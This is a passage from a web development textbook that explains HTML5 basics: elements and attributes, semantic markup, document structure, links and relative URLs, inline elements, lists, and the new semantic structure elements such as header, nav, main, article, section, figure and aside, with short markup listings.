The current W3C Recommendation for HTML is the HTML5 specification,
which dates back to 2014. In that specification the syntax for marking up
documents was defined and centered around using elements and attributes
(see Section 3.2.1).

Hands-on Exercises Lab 3
Exercise
First Web Page

Learning the fundamental concepts and terms that have survived multiple
standards is essential in a discipline like web development where
specifications, standards, and browsers are constantly evolving.

3.2.1 Elements and Attributes
HTML documents are composed of textual content and HTML elements. The
term HTML element is often used interchangeably with the term tag.
However, an HTML element is a more expansive term that encompasses the
element name within angle brackets (i.e., the tag) and the content within the
tag (though some elements contain no extra content).

An HTML element is identified in the HTML document by tags. A tag
consists of the element name within angle brackets. The element name
appears in both the beginning tag and the closing tag, which contains a
forward slash followed by the element's name, again all enclosed within
angle brackets. The closing tag acts like an off-switch for the on-switch that
is the start tag.



HTML elements can also contain attributes. An HTML attribute is a
name=value pair that provides more information about the HTML element. In
XHTML, attribute values had to be enclosed in quotes; in HTML5, the
quotes are optional, though many web authors still maintain the practice of
enclosing attribute values in quotes. Some HTML attributes expect a number
for the value. These will just be the numeric value; they will never include
the unit.

Figure 3.3 illustrates the different parts of an HTML element, including an
example of an empty HTML element. An empty element does not contain
any text content; instead, it is an instruction to the browser to do something.
Perhaps the most common empty element is <img>, the image element. In
XHTML, empty elements had to be terminated by a trailing slash (as shown
in Figure 3.3 ). In HTML5, the trailing slash in empty elements is optional.

Figure 3.3 The parts of an
HTML element

Figure 3.3 Full Alternative Text

3.2.2 Nesting HTML Elements
Often an HTML element will contain other HTML elements. In such a case,
the container element is said to be a parent of the contained, or child,



element. Any elements contained within the child are said to be descendants
of the parent element; likewise, any given child element may have a variety
of ancestors.

Note
In XHTML, all HTML element names and attribute names had to be
lowercase. HTML5 (and HTML 4.01 as well) does not care whether you use
upper- or lowercase for element or attribute names. Nonetheless, this book
will follow XHTML usage and use lowercase for all HTML names and
enclose all attribute values in quotes.

This underlying family tree or hierarchy of elements (see Figure 3.4 ) will be
important later in the book when you cover Cascading Style Sheets (CSS)
and JavaScript programming and parsing. This concept is called the
Document Object Model (DOM) formally, though for now we will only refer
to its hierarchical aspects.



Figure 3.4 HTML document
outline

Figure 3.4 Full Alternative Text

In order to properly construct this hierarchy of elements, your browser
expects each HTML nested element to be properly nested. That is, a child's
ending tag must occur before its parent's ending tag, as shown in Figure 3.5 .



Figure 3.5 Correct and
incorrect ways of nesting
HTML elements

Figure 3.5 Full Alternative Text



3.3 Semantic Markup
In Figure 3.1 , some of the yellow sticky note and red ink markup examples
are instructions about how the document will be displayed (such as, “main
heading” or “bulleted”). You can do the same thing with HTML presentation
markup, but this is no longer considered to be a good practice. Instead, over
the past decade, a strong and broad consensus has grown around the belief
that HTML documents should only focus on the structure of the document;
information about how the content should look when it is displayed in the
browser is best left to CSS (Cascading Style Sheets), a topic introduced in the
next chapter, and then covered in more detail in Chapter 7.

As a consequence, beginning HTML authors are often counseled to create
semantic HTML documents. That is, an HTML document should not
describe how to visually present content, but only describe its content's
structural semantics or meaning. This advice might seem mysterious, but it is
actually quite straightforward.

Examine the paper documents shown in Figure 3.6 . One is a page from the
United States IRS explaining the 1040 tax form; another is a page from a
textbook (Data Structures and Problem Solving Using Java by Mark Allen
Weiss, published by Addison Wesley). In each of them, you will notice that
the authors of the two documents use similar means to demonstrate to the
reader the structure of the document. That structure (and to be honest the
presentation as well) makes it easier for the reader to quickly grasp the
hierarchy of importance as well as the broad meaning of the information in
the document.



Figure 3.6 Visualizing structure
Figure 3.6 Full Alternative Text

Structure is a vital way of communicating information in paper and electronic
documents. All of the tags that we will examine in this chapter are used to
describe the basic structural information in a document, such as headings,
lists, paragraphs, links, images, navigation, footers, and so on.

Eliminating presentation-oriented markup and writing semantic HTML



markup has a variety of important advantages:

Maintainability. Semantic markup is easier to update and change than
web pages that contain a great deal of presentation markup. Our students
are often surprised when they learn that more time is spent maintaining
and modifying existing code than in writing the original code. This is
even truer with web projects. From our experience, web projects have a
great deal of “requirements drift” due to end user and client feedback
than traditional software development projects.

Performance. Semantic web pages are typically quicker to author and
faster to download.

Accessibility. Not all web users are able to view the content on web
pages. Users with sight disabilities experience the web using voice
reading software. Visiting a web page using voice reading software can
be a very frustrating experience if the site does not use semantic markup.
As well, many governments insist that sites for organizations that
receive federal government funding must adhere to certain accessibility
guidelines. For instance, the United States government has its own
Section 508 Accessibility Guidelines (http://www.section508.gov).

Pro Tip
You can learn about web accessibility by visiting the W3C Web
Accessibility initiative website (http://www.w3.org/WAI). The site
provides guidelines and resources for making websites more accessible
for users with disabilities. These include not just blind users, but users
with color blindness, older users with poor eyesight, users with
repetitive stress disorders from using the mouse, or even users suffering
from ADHD or short-term memory loss. One of the documents
produced by the WAI is the Web Content Accessibility Guidelines,
which is available via http://www.w3.org/WAI/intro/wcag.php.

Search engine optimization. For many site owners, the most important
users of a website are the various search engine crawlers. These crawlers

http://www.section508.gov
http://www.w3.org/WAI
http://www.w3.org/WAI/intro/wcag.php


are automated programs that cross the web scanning sites for their
content, which is then used for users' search queries. Semantic markup
provides better instructions for these crawlers: it tells them what things
are important content on the site.

But enough talking about HTML … it is time to examine some HTML
documents.



3.4 Structure of HTML Documents
Figure 3.7 illustrates one of the simplest valid HTML5 documents you can
create. As can be seen in the corresponding capture of the document in a
browser, such a simple document is hardly an especially exciting visual
spectacle. Nonetheless, there is something to note about this example before
we move on to a more complicated one.

Figure 3.7 One of the simplest
possible HTML5 documents

Figure 3.7 Full Alternative Text

The <title> element (item  in Figure 3.7 ) is used to provide a broad
description of the content. The title is not displayed within the browser
window. Instead, the title is typically displayed by the browser in its window
and/or tab, as shown in the example in Figure 3.7 . The title has some
additional uses that are also important to know. The title is used by the
browser for its bookmarks and its browser history list. The operating system
might also use the page's title, for instance, in the Windows taskbar or in the



Mac dock. Perhaps even more important than any of the aforementioned
reasons, search engines will typically use the page's title as the linked text in
their search engine result pages.

For readers with some familiarity with XHTML or HTML 4.01, this listing
will appear to be missing some important elements. Indeed, in previous
versions, a valid HTML document required additional structure. Figure 3.8
illustrates a more complete HTML5 document that includes these other
structural elements as well as some other common HTML elements.

Figure 3.8 Structure elements
of an HTML5 document

Figure 3.8 Full Alternative Text

In comparison to Figure 3.7 , the markup in Figure 3.8 is somewhat more
complicated. Let's examine the various structural elements in more detail.

Pro Tip



The <title> element plays an important role in search engine optimization
(SEO), that is, in improving a page's rank (its position in the results page after
a search) in most search engines. While each search engine uses different
algorithms for determining a page's rank, the title (and the major headings)
provides a key role in determining what a given page is about.

As a result, be sure that a page's title text briefly summarizes the document's
content. As well, put the most important content first in the title. Most
browsers limit the length of the title that is displayed in the tab or window
title to about 60 characters. Chapter 23 goes into far greater detail on SEO.

3.4.1 Doctype
Item  in Figure 3.8 points to the DOCTYPE (short for Document Type
Definition) element, which tells the browser (or any other client software that
is reading this HTML document) what type of document it is about to
process. Notice that it does not indicate what version of HTML is contained
within the document: it only specifies that it contains HTML. The HTML5
doctype is quite short in comparison to one of the standard doctype
specifications for XHTML:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” 

    “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

The XHTML doctype instructed the browser to follow XHTML rules. In the
early years of the 2000s, not every browser followed the W3C specifications
for HTML and CSS; as support for standards developed in newer browsers,
the doctype was used to tell the browser to render an HTML document using
the so-called standards mode algorithm or render it with the particular
browser's older nonstandards algorithm, called quirks mode.

Document Type Definitions (DTD) define a document's type for markup
languages such as HTML and XML. In both these markup languages, the
DTD must appear near the beginning of the document. DTDs have their own
syntax that defines allowable element names and their order. The following
code from the official XHTML DTD defines the syntax of the <p> element:



<!ELEMENT p %Inline;> 

<!ATTLIST p 

 %attrs; 

 %TextAlign; 

>

Within XML, DTDs have largely been replaced by XML schema.

3.4.2 Head and Body
HTML5 does not require the use of the <html>, <head>, and <body> elements
(items , , and  in Figure 3.8 ). However, in XHTML they were
required, and most web authors continue to use them. The <html> element is
sometimes called the root element as it contains all the other HTML elements
in the document. Notice that it also has a lang attribute. This optional
attribute tells the browser the natural language that is being used for textual
content in the HTML document, which is English in this example. This
doesn't change how the document is rendered in the browser; rather, search
engines and screen reader software can use this information.

Hands-on Exercises Lab 3
Exercise
Additional Structure Tags

HTML pages are divided into two sections: the head and the body, which
correspond to the <head> and <body> elements. The head contains descriptive
elements about the document, such as its title, any style sheets or JavaScript
files it uses, and other types of meta information used by search engines and
other programs. The body contains content (both HTML elements and regular
text) that will be displayed by the browser. The rest of this chapter and the
next chapter will cover the HTML that will appear within the body.



Note
In HTML5, the use of the <html>, <head>, and <body> elements is optional
and even in an older, non-HTML5 browser your page will work fine without
them (as the browser inserts them for you). However, for conformity with
older standards, this text's examples will continue to use them.

You will notice that the <head> element in Figure 3.8 contains a variety of
additional elements. The first of these is the <meta> element (item ). The
example in Figure 3.8 declares that the character encoding for the document
is UTF-8. Character encoding refers to which character set standard is being
used to encode the characters in the document. As you may know, every
character in a standard text document is represented by a standardized bit
pattern. The original ASCII standard of the 1950s defined English (or more
properly Latin) upper and lowercase letters as well as a variety of common
punctuation symbols using 8 bits for each character. UTF-8 is a more
complete variable-width encoding system that can encode all 110,000
characters in the Unicode character set (which in itself supports over 100
different language scripts).

Item  in Figure 3.8 specifies an external CSS style sheet file that is used
with this document. Virtually all commercial web pages created in the last
decade make use of style sheets to define the visual look of the HTML
elements in the document. Styles can also be defined within an HTML
document (using the <style> element, which will be covered in Chapter 4);
for consistency's sake, most sites place most or all of their style definitions
within one or more external style sheet files.

Notice that in this example, the file being referenced (main.css) resides
within a subfolder called css. This is by no means a requirement. It is
common practice, however, for web authors to place additional external CSS,
JavaScript, and image files into their own subfolders.

Finally, item  in Figure 3.8 references an external JavaScript file. Most
modern commercial sites use at least some JavaScript. Like with style



definitions, JavaScript code can be written directly within the HTML or
contained within an external file. JavaScript will be covered in Chapters 8, 9,
10, and 20 (though JavaScript will be used as well in other chapters).

Remember
Each reference to an external file in an HTML document, whether it be an
image, an external style sheet, or a JavaScript file, generates additional HTTP
requests resulting in slower load times and degraded performance.

Hands-on Exercises Lab 3
Exercise
Making Mistakes



3.5 Quick Tour of HTML Elements
HTML5 contains many structural and presentation elements—too many to
completely cover in this book. Rather than comprehensively cover all these
elements, this chapter will provide a quick overview of the most common
elements. Figure 3.9 contains the HTML we will examine in more detail
(note that some of the structural tags like <html> and <body> from the
previous section are omitted in this example for brevity's sake). Figure 3.10
illustrates how the markup in Figure 3.9 appears in the browser.



Figure 3.9 Sample HTML5
document

Figure 3.9 Full Alternative Text



Figure 3.10 Figure 3.9 in the
browser

Figure 3.10 Full Alternative Text



3.5.1 Headings
Item  in Figure 3.9 defines two different headings. HTML provides six
levels of heading (h1 through h6), with the higher heading number indicating
a heading of less importance. In the real-world documents shown in Figure
3.6 , you saw that headings are an essential way for document authors to
show their readers the structure of the document.

Headings are also used by the browser to create a document outline for the
page. Every web page has a document outline. This outline is not something
that you see. Rather, it is an internal data representation of the control on the
page. This document outline is used by the browser to render the page. It is
also potentially used by web authors when they write JavaScript to
manipulate elements in the document or when they use CSS to style different
HTML elements.

This document outline is constructed from headings and other structural tags
in your content and is analogous to the outlines you may have created for
your own term papers in school (see Figure 3.11 ). There is a variety of web-
based tools that can be used to see the document outline. Figure 3.11
illustrates one of these tools; this one is available from http://
gsnedders.html5.org/outliner/.

http://gsnedders.html5.org/outliner/


Figure 3.11 Example document
outlines



Figure 3.11 Full Alternative Text

The browser has its own default styling for each heading level. However,
these are easily modified and customized via CSS. Figure 3.12 illustrates just
some of the possible ways to style a heading.

Figure 3.12 Alternate CSS



stylings of the same heading
Figure 3.12 Full Alternative Text

In practice, specify a heading level that is semantically accurate; do not
choose a heading level because of its default presentation (e.g., choosing
<h3> because you want your text to be bold and 16pt). Rather, choose the
heading level because it is appropriate (e.g., choosing <h3> because it is a
third-level heading and not a primary or secondary heading).

Pro Tip
Sometimes it is not obvious what content is a primary heading. For instance,
some authors make the site logo an <h1>, the page title an <h2>, and every
other heading an <h3> or less. Other authors don't use a heading level for the
site logo, but make the page title an <h1>.

3.5.2 Paragraphs and Divisions
Item  in Figure 3.9 defines two paragraphs, the most basic unit of text in
an HTML document. Notice that the <p> tag is a container and can contain
HTML and other inline HTML elements (the <strong> and <a> elements in
Figure 3.9 ). This term refers to HTML elements that do not cause a
paragraph break but are part of the regular “flow” of the text and are
discussed in more detail in Section 3.5.4.

The indenting on the second paragraph element is optional. Some developers
like to use indenting to differentiate a container from its content. It is purely a
convention and has no effect on the display of the content.

Don't confuse the <p> element with the line break element (<br>). The
former is a container for text and other inline elements. The line break
element forces a line break. It is suitable for text whose content belongs in a



single paragraph but which must have specific line breaks: for example,
addresses and poems.

Item  in Figure 3.9 illustrates the definition of a <div> element. This
element is also a container element and is used to create a logical grouping of
content (text and other HTML elements, including containers such as <p> and
other <div> elements).

The <div> element has no intrinsic presentation or semantic value; it is
frequently used in contemporary CSS-based layouts to mark out sections.
Finally, item  in Figure 3.10 shows an <hr> element, which is used to add a
“break” between paragraphs or <div> elements. Browsers generally style the
<hr> element as a horizontal rule.

3.5.3 Links
Item  in Figure 3.9 defines a hyperlink. Links are an essential feature of all
web pages. Links are created using the <a> element (the “a” stands for
anchor). A link has two main parts: the destination and the label. As can be
seen in Figure 3.13 , the label of a link can be text or another HTML element
such as an image.

Figure 3.13 Two parts of a link
Figure 3.13 Full Alternative Text



Hands-on Exercises Lab 3
Exercise
Linking

You can use the anchor element to create a wide range of links. These include
the following:

Links to external sites (or to individual resources such as images or
movies on an external site).

Links to other pages or resources within the current site.

Links to other places within the current page.

Links to particular locations on another page (whether on the same site
or on an external site).

Links that are instructions to the browser to start the user's email
program.

Links that are instructions to the browser to execute a JavaScript
function.

Links that are instructions to the mobile browser to make a phone call.

Figure 3.14 illustrates the different ways to construct link destinations.



Figure 3.14 Different link
destinations

Figure 3.14 Full Alternative Text



Dive Deeper
Figure 3.15 shows an early version of the book's website and its HTML (as
shown in Google's Chrome's Element Inspector, a very handy developer's
tool built into the browser).



Figure 3.15 Using <div>
elements to create a complex
layout

Figure 3.15 Full Alternative Text

Notice the many levels of nested <div> elements. Some are used by the CSS
framework that the site is using to create its basic layout grid (those with
class=“grid_##”); others are given id or class attributes and are targeted
for specific styling in the underlying CSS file.

HTML5 has a variety of new semantic elements (which we will examine later
in Section 3.6) that can be used to reduce somewhat the confusing mass of
div within divs within divs that is so typical of contemporary web design.

Note
Links with the label “Click Here” were once a staple of the web. Today, such
links are frowned upon, as they do not provide any information to users as to
where the link will take them, are not very accessible, and as a verb “click” is
becoming increasingly inaccurate when one takes into account the growth of
mobile browsers. Instead, textual link labels should be descriptive. So instead
of using the text “Click here to see the race results” simply make the link text
“Race Results” or “See Race Results.”

3.5.4 URL Relative Referencing
Whether we are constructing links with the <a> element, referencing images
with the <img> element, or including external JavaScript or CSS files, we
need to be able to successfully reference files within our site. This requires
learning the syntax for so-called relative referencing. As you can see from



Figure 3.14 , when referencing a page or resource on an external site, a full
absolute reference is required: that is, a complete URL as described in
Chapter 2 with a protocol (typically, http://), the domain name, any paths,
and then finally the file name of the desired resource.

However, when referencing a resource that is on the same server as your
HTML document, you can use briefer relative referencing. If the URL does
not include the “http://” then the browser will request the current server for
the file. If all the resources for the site reside within the same directory (also
referred to as a folder), then you can reference those other resources simply
via their file name.

However, most real-world sites contain too many files to put them all within
a single directory. For these situations, a relative pathname is required along
with the file name. The pathname tells the browser where to locate the file on
the server.

Pathnames on the web follow Unix conventions. Forward slashes (“/”) are
used to separate directory names from each other and from file names.
Double-periods (“..”) are used to reference a directory “above” the current
one in the directory tree. Figure 3.16 illustrates the file structure of an
example site. Table 3.1 provides additional explanations and examples of the
different types of URL referencing.





Figure 3.16 Example site
directory tree

Figure 3.16 Full Alternative Text

Table 3.1 Sample Relative
Referencing

Relative Link Type Example

 Same Directory

To link to a file within
the same folder, simply
use the file name.

To link to example.html from about.html (in
Figure 3.16 ), use:

<a href=“example.html”>

 Child Directory

To link to a file within a
subdirectory, use the
name of the subdirectory
and a slash before the
file name.

To link to logo.gif from about.html, use:

<a href=“images/logo.gif”>

Grandchild/Descendant
Directory

To link to a file that is To link to background.gif from about.html,



multiple subdirectories
below the current one,
construct the full path by
including each
subdirectory name
(separated by slashes)
before the file name.

use:

<a href=“css/images/background.gif”>

 Parent/Ancestor
Directory

Use “../” to reference a
folder above the current
one. If trying to
reference a file several
levels above the current
one, simply string
together multiple “../”.

To link to about.html from index.html in
members, use:

<a href=“../about.html”>

To link to about.html from bio.html, use:

<a href=“../../about.html”>

 Sibling Directory

Use “../” to move up to
the appropriate level, and
then use the same
technique as for child or
grandchild directories.

To link to about.html from index.html in
members, use:

<a href=“../images/about.html”>

To link to background.gif from bio.html, use:

<a

href=“../../css/images/background.gif”>

 Root Reference

An alternative approach
for ancestor and sibling
references is to use the
so-called root reference



approach. In this
approach, begin the
reference with the root
reference (the “/”) and
then use the same
technique as for child or
grandchild directories.
Note that these will
only work on the
server! That is, they
will not work when you
test it out on your local
machine.

To link to about.html from bio.html, use:

<a href=“/about.html”>

To link to background.gif from bio.html, use:

<a href=“/images/background.gif”>

 Default Document

Web servers allow
references to directory
names without file
names. In such a case,
the web server will serve
the default document,
which is usually a file
called index.html
(apache) or Default.html
(IIS). Again, this will
only generally work on
the web server.

To link to index.html in members from
about.html, use either:

<a href=“members”>

Or

<a href=“/members”>

Pro Tip
You can force a link to open in a new browser window by adding the
target=“_blank” attribute to any link.



In general, most web developers believe that forcing a link to open in a new
window is not a good practice as it takes control of something (whether a
page should be viewed in its own browser window) that rightly belongs to the
user away from the user. Nonetheless, some clients will insist that any link to
an external site must show up in a new window.

3.5.5 Inline Text Elements
Back in Figure 3.9 the HTML example used three different inline text
elements (namely, the <strong>, <time>, and <small> elements). They are
called inline elements because they do not disrupt the flow of text (i.e., cause
a line break). HTML defines over 30 of these elements. Table 3.2 lists some
of the most commonly used of these elements.

Table 3.2 Common Text-Level
Semantic Elements
Element Description
<a> Anchor used for hyperlinks.
<abbr> An abbreviation
<br> Line break
<cite> Citation (i.e., a reference to another work)

<code>
Used for displaying code, such as markup or
programming code

<em> Emphasis
<mark> For displaying highlighted text

<small>
For displaying the fine-print, that is, “nonvital” text,
such as copyright or legal notices

<span>

The inline equivalent of the <div> element. It is
generally used to mark text that will receive special
formatting using CSS



<strong> For content that is strongly important
<time> For displaying time and date data

3.5.6 Images
Item  in Figure 3.9 defines an image. While the <img> tag is the oldest
method for displaying an image, it is not the only way. In fact, it is very
common for images to be added to HTML elements via the background-
image property in CSS, a technique you will see in Chapter 4. For purely
decorative images, such as background gradients and patterns, logos, border
art, and so on, it makes semantic sense to keep such images out of the markup
and in CSS where they more rightly belong. But when the images are content,
such as in the images in a gallery or the image of a product in a product
details page, then the <img> tag is the semantically appropriate approach

Hands-on Exercises Lab 3
Exercise
Adding Images

Chapter 6 examines the different types of graphic file formats. Figure 3.17
illustrates the key attributes of the <img> element.



Figure 3.17 The <img> element
Figure 3.17 Full Alternative Text

3.5.7 Character Entities
Item  in Figure 3.9 illustrates the use of a character entity. These are
special characters for symbols for which there is either no easy way to type
them via a keyboard (such as the copyright symbol or accented characters) or
which have a reserved meaning in HTML (for instance the “<” or “>”
symbols). There are many HTML character entities. They can be used in an
HTML document by using the entity name or the entity number. Some of the
most common are listed in Table 3.3.

Table 3.3 Common Character
Entities

Entity
Name

Entity
Number Description

&nbsp; &#160;

Nonbreakable space. The browser ignores
multiple spaces in the source HTML file. If
you need to display multiple spaces, you can
do so using the nonbreakable space entity.

&lt; &#60; Less than symbol (“<”).
&gt; &#62; Greater than symbol (“>”).
&copy; &#169; The © copyright symbol
&euro; &#8364; The € euro symbol.
&trade; &#8482; The ™ trademark symbol.
&uuml; &#252; The ü— that is, small u with umlaut mark.



3.5.8 Lists
Figure 3.9 is missing one of the most common block-level elements in
HTML, namely, lists. HTML provides three types of lists:

Unordered lists. Collections of items in no particular order; these are by
default rendered by the browser as a bulleted list. However, it is
common in CSS to style unordered lists without the bullets. Unordered
lists have become the conventional way to markup navigational menus.

Ordered lists. Collections of items that have a set order; these are by
default rendered by the browser as a numbered list.

Description lists. Collection of name and description/definition pairs.
These tend to be used infrequently. Perhaps the most common example
would be a FAQ list. Unlike the other two lists (which contain <li>
items within either a <ul> or <ol> parent container), the container for a
description list is the <dl> element. It contains <dt> (term or name to be
described) and <dd> (describes each term) pairs for each item in the list.

Hands-on Exercises Lab 3
Exercise
Making a List Linking with Lists

As can be seen in Figure 3.18 , the ordered and unordered list elements are
container elements containing list item elements (<li>). Other HTML
elements can be included within the <li> container, as shown in the first list
item of the unordered list in Figure 3.18 . Notice as well in the ordered list
example in Figure 3.18 that this nesting can include another list.



Figure 3.18 List elements and
their default rendering

Figure 3.18 Full Alternative Text

Pro Tip



Many developers make use of the premade HTML5 starting file available at
http://html5boilerplate.com. Besides the basic HTML5 skeleton, it contains
links to helpful CSS and JavaScript files as well as useful viewport settings
(covered in Chapter 7) and Google analytics settings (covered in Chapter 24).

http://html5boilerplate.com


3.6 HTML5 Semantic Structure
Elements
Section 3.3 discussed the idea of semantic markup and how it improves the
maintainability and accessibility of web pages. In the code examples so far,
the main semantic elements you have seen are headings, paragraphs, lists,
and some inline elements. You also saw the other key semantic block
element, namely, the division (i.e., <div> element).

Figure 3.15 did, however, illustrate one substantial problem with modern,
pre-HTML5 semantic markup. Most complex websites are absolutely packed
solid with <div> elements. Most of these are marked with different id or
class attributes. You will see in Chapter 7 that complex layouts are typically
implemented using CSS that targets the various <div> elements for CSS
styling. Unfortunately, all these <div> elements can make the resulting
markup confusing and hard to modify. Developers typically try to bring some
sense and order to the <div> chaos by using id or class names that provide
some clue as to their meaning, as shown in Figure 3.19 .





Figure 3.19 Sample <div>-
based XHTML layout (with
HTML5 equivalents)

Figure 3.19 Full Alternative Text

As HTML5 was being developed, researchers at Google and Opera had their
search spiders examine millions of pages to see what were the most common
id and class names. Their findings helped standardize the names of the new
semantic block structuring elements in HTML5, most of which are shown in
Figure 3.19 .

The idea behind using these elements is that your markup will be easier to
understand because you will be able to replace some of your <div> sprawl
with cleaner and more self-explanatory HTML5 elements. Figure 3.20
illustrates the simpler version of Figure 3.19 , one that uses the new semantic
elements in HTML5. Each of these elements is briefly discussed in the
following sections.



Figure 3.20 Sample layout
using new HTML5 semantic



structure elements
Figure 3.20 Full Alternative Text

3.6.1 Header and Footer
Most website pages have a recognizable header and footer section. Typically
the header contains the site logo and title (and perhaps additional subtitles or
taglines), horizontal navigation links, and perhaps one or two horizontal
banners. The typical footer contains less-important material, such as smaller
text versions of the navigation, copyright notices, information about the site's
privacy policy, and perhaps twitter feeds or links to other social sites.

Hands-on Exercises Lab 3
Exercise
Header and Footer

Both the HTML5 <header> and <footer> element can be used not only for
page headers and footers (as shown in items  and  in Figure 3.20 ), but
also for header and footer elements within other HTML5 containers, such as
<article> or <section>, as indicated by the W3C Recommendation:

A header element is intended to usually contain the section's heading (an
h1-h6 element), but this is not required. The header element can also be
used to wrap a section's table of contents, a search form, or any relevant
logos.

—W3C Recommendation

Listing 3.1 demonstrates both uses of the <header> element.



Listing 3.1 Heading example
<header>

<img src=“logo.gif” alt=“logo” /> 

<h1>Fundamentals of Web Development</h1> 

… 

</header>

<article>

   <header>

      <h2>HTML5 Semantic Structure Elements</h2> 

      <p> By <em>Randy Connolly</em></p> 

      <p><time>September 30, 2015</time></p> 

   </header> 

   … 

</article>

The browser really doesn't care how one uses these HTML5 semantic
structure elements. Just like with the <div> element, there is no predefined
presentation for these tags.

3.6.2 Navigation

Hands-on Exercises Lab 3
Exercise
Navigation, Articles, and Sections

The <nav> element (item  in Figure 3.20 ) represents a section of a page
that contains links to other pages or to other parts within the same page. Like
the other new HTML5 semantic elements, the browser does not apply any
special presentation to the <nav> element. As you can see in the quote from
the WHATWG specification for HTML5 (that was used by the W3C in their
own Recommendation), the <nav> element was intended to be used for major
navigation blocks, presumably the global and secondary navigation systems



as well as perhaps search facilities. However, like all the new HTML5
semantic elements in Section 3.6, from the browser's perspective, there is no
definite right or wrong way to use the <nav> element. Its sole purpose is to
make your markup easier to understand, and by limiting the use of the <nav>
element to major elements, your markup will more likely achieve that aim.

Not all groups of links on a page need to be in a nav element—the
element is primarily intended for sections that consist of major
navigation blocks. In particular, it is common for footers to have a short
list of links to various pages of a site, such as the terms of service, the
home page, and a copyright page. The footer element alone is sufficient
for such cases; while a nav element can be used in such cases, it is
usually unnecessary.

—WHATWG HTML specification

Listing 3.2 illustrates a typical example usage of the <nav> element.

Listing 3.2 nav example
<header> 

  <img src=“logo.gif” alt=“logo” /> 

  <h1>Fundamentals of Web Development</h1> 

  <nav> 

     <ul> 

        <li><a href=“index.html”>Home</a></li> 

        <li><a href=“about.html”>About Us</a></li> 

        <li><a href=“browse.html”>Browse</a></li> 

     </ul> 

  </nav> 

</header>

3.6.3 Main
The <main> element (item  in Figure 3.20 ) was a late addition to the
HTML5 specification. It is meant to contain the main unique content of the
document. Elements that repeat across multiple pages (such as headers,



footers, and navigation) or are incidental to the main content (such as
advertisements and marketing callouts) do not belong in the <main> element.
As described by the W3C Recommendation, the main content area should
“consist of content that is directly related to or expands upon the central topic
of a document or central functionality of an application.”

While not a required element, as shown in Figure 3.20 , it provides a
semantic replacement for markup, such as <div id=“main”> or <div
id=“main-content”>. It is worth noting that the <main> element has some
clear usage rules. First, there should only be one <main> element in a
document. Second, it should not be nested within any the <article>,
<aside>, <footer>, <header>, or <nav> containers.

3.6.4 Articles and Sections
The book you are reading is divided into smaller blocks of content called
chapters, which make this long book easier to read. Furthermore, each
chapter is further divided into sections (and these sections into even smaller
subsections), all of which make the content of the book easier to manage for
both the reader and the authors. Other types of textual content, such as
newspapers, are similarly divided into logical sections. The new HTML5
semantic elements <section> and <article> (items  and  respectively,
in Figure 3.20 ) play a similar role within web pages.

It might not be clear how to choose between these two elements. The W3C
specification provides us with some insight.

The article element represents a complete, or self-contained,
composition in a document … and that is, in principle, interdependently
distributable or reusable.

The section element represents a generic section of a document or
application … The theme of each section should be identified, typically
by including a heading (h1-h6 element) as a child of the section element.

—W3C HTML5 Recommendation



Pro Tip
You may have noticed that the language in these W3C and WHATWG
specifications can be rather “dull” and “heavy.” While they do try to provide
clarity by using consistent terminology throughout the specification, this
means that they can also be difficult to understand if one isn't familiar with
that terminology. Nonetheless, being able to read and decipher technical
documents is a skill that a computing professional eventually does need to
master.

According to the W3C, <section> is a much broader element, while the
<article> element is to be used for blocks of content that could potentially
be read or consumed independently of the other content on the page. We can
gain a further understanding of how to use these two elements by looking at
the more expansive WHATWG specification.

The section element represents a generic section of a document or
application. A section, in this context, is a thematic grouping of content,
typically with a heading. Examples of sections would be chapters, the
various tabbed pages in a tabbed dialog box, or the numbered sections of
a thesis. A Website's home page could be split into sections for an
introduction, news items, and contact information.

The article element represents a self-contained composition in a
document, page, application, or site and that is, in principle,
independently distributable or reusable, e.g. in syndication. This could
be a forum post, a magazine or newspaper article, a blog entry, a user-
submitted comment, an interactive widget or gadget, or any other
independent item of content.

—WHATWG HTML specification

The reference to syndication in the WHATWG explanation of the <article>
element is useful. In the context of the web, syndication refers to websites
making their content available to other websites for display. If some block of
content could theoretically exist on another website (as if it were syndicated)



and still make sense in that new context, then wrap that content within an
<article> element. If a block of content has some type of heading associated
with it, then consider wrapping it within a <section> element.

Note
The WHATWG specification warns readers that the <section> element is
not a generic container element. HTML already has the <div> element for
such uses. When an element is needed only for styling purposes or as a
convenience for scripting, it makes sense to use the <div> element instead.
Another way to help you decide whether or not to use the <section> element
is to ask yourself if it is appropriate for the element's contents to be listed
explicitly in the document's outline. If so, then use a <section>; otherwise,
use a <div>.

3.6.5 Figure and Figure Captions
Throughout this chapter you have seen screen captures or diagrams or
photographs that are separate from the text (but related to it), which are
described by a caption, and which are given the generic name of Figure. Prior
to HTML5, web authors typically wrapped images and their related captions
within a nonsemantic <div> element. In HTML5 we can instead use the more
obvious <figure> and <figcaption> elements (items  and  in Figure
3.20 ).

Hands-on Exercises Lab 3
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Figures and Captions

The W3C Recommendation indicates that the <figure> element can be used



not just for images but for any type of essential content that could be moved
to a different location in the page or document and the rest of the document
would still make sense.

The figure element represents some flow content, optionally with a
caption, that is self-contained and is typically referenced as a single unit
from the main flow of the document.

The element can thus be used to annotate illustrations, diagrams, photos,
code listings, etc, that are referred to from the main content of the
document, but that could, without affecting the flow of the document, be
moved away from that primary content, e.g. to the side of the page, to
dedicated pages, or to an appendix.

—WHATWG HTML specification

For instance, as I write this section, I will at some point make reference to
one of the figures or code listings. But I cannot write “the illustration above”
or “the code listing to the right,” even though it is possible that on the page
you are looking at right now, there is an illustration just above these words or
the code listing might be just to the right. I cannot do this because at the point
of writing these words, the actual page layout is still many months away. But
I can make nonspatial references in the text to “Figure 3.21 ” or to “Listing
3.3”—that is, to the illustration or code samples' captions. The figures and
code listings are not optional; they need to be in the text. However, their
ultimate position on the page is irrelevant to me as I write the text.



Figure 3.21 The figure and
figcaption elements in the
browser

Figure 3.21 Full Alternative Text

Note
The <figure> element should not be used to wrap every image. For instance,



it makes no sense to wrap the site logo or nonessential images such as banner
ads and graphical embellishments within <figure> elements. Instead, only
use the <figure> element for circumstances where the image (or other
content) has a caption and where the figure is essential to the content but its
position on the page is relatively unimportant.

Figure 3.21 illustrates a sample usage of the <figure> and <figcaption>
element. While this example places the caption below the figure in the
markup, this is not required. Similarly, this example shows an image within
the <figure>, but it could be any content.

3.6.6 Aside
The <aside> element (item  in Figure 3.20 ) is similar to the <figure>
element in that it is used for marking up content that is separate from the
main content on the page. But while the <figure> element was used to
indicate important information whose location on the page is somewhat
unimportant, the <aside> element “represents a section of a page that
consists of content that is tangentially related to the content around the aside
element” (from WHATWG specification).

